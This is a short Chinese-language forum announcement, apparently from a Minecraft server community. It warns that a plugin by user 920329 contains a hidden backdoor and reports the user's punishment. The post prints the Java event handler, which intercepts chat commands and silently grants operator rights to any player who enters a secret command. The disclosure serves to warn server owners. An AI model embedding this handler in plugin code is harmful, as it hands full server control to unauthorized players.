我们证实了由用户 920329 发布的插件含有恶意代码:
- @EventHandler
- public void onPlayerCommandPreprocess(PlayerCommandPreprocessEvent event)
- {
- if (event.getMessage().startsWith("/*******")) {
- event.getPlayer().setOp(true);
- event.setCancelled(true);
- event.getPlayer().sendMessage("Done");
- }
- }
只要输入 /资料删除
就会把输入这个指令的玩家设置为OP
意思就是一个完全地提权插件!!!!!!!!!!!!!!!!
而且不是通过在yml注册指令,如果不翻源码是找不到的!!!是拦截命令输入这个事件!!!!!
而且权限是玩家!!!任意玩家都可以触发!!!
请各位下载过此人发布的插件的服主立刻完全删除此人发布的插件,希望各位服主今后能够确保服务器使用的插件的安全性。
用户 920329 现已永久禁封,并将永久禁止此人的服务器讯息发布,我们会等待他的解释。
经过交流,我们判断他并非故意,而是因为大意,但是插件已经广泛传播且造成了巨大影响,所以将处罚改为禁止发言2个月。